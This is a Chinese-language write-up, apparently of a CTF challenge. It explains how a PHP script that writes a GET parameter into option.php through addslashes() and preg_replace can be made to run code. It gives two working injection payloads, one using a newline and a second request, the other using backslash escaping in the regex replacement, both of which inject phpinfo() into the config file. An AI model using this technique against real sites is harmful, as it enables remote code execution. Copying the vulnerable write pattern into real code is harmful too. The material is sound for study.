题目代码:
index.php
---------------------------------------------------------------------------
<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);
代码中的函数解释:
- addslashes() 函数返回在预定义字符之前添 加反斜杠的字符串。预定义字符包括单引号,双引号,null,反斜杠(\)
- file_get_contents() 把整个文件读入一个字符串中。
- 正则匹配替换
- file_put_contents() 函数把一个字符串写入文件中。
xxxxx/option.php
---------------------------------------------------------------------------
$option='test';
流程:
- 以get的方法传入一个参数,经过addslashes()后预定义字符前都多了反斜杠,注意反斜杠在特定条件下会产生转义的效果
- 经过第一步处理后,把xxxxx/option.php文件中的字符串读出来
- 进行正则匹配,此处把\\替换成\
- 经过正则的匹配替换后,写入xxxxx/option.php文件中
要达成的目的:
实现单引号的闭合,从而执行后面的语句
扫描二维码关注公众号,回复:
9099901 查看本文章
法一:
- 传入?option=aaa';%0aphpinfo();//
经过 addslashes() ,变成 aaa\';%0aphpinfo();//,此处%0a是换行符 - 此时xxxxx/option.php文件内容变成
$option=' aaa\';
phpinfo();// '; - 这样一来就把引号闭合了,然后执行?option=bbb
- 正则匹配时,会将两个单引号里的内容即
aaa\
,替换为bbb
,此时xxxxx/option.php的内容变为
<?php
$option='xxx';
phpinfo();//';
?>
最后访问:/xxxxx/option.php
法二:
- 访问?option=aaa\';phpinfo();//
- 经过addslashes后,$str为
aaa\\\';phpinfo();//
- 经过preg_replace正则匹配后,对
\
做了转义处理,xxxxx/option.php的内容变为:
<?php
$option='aaa\\';phpinfo();//';
?>
最后访问:/xxxxx/option.php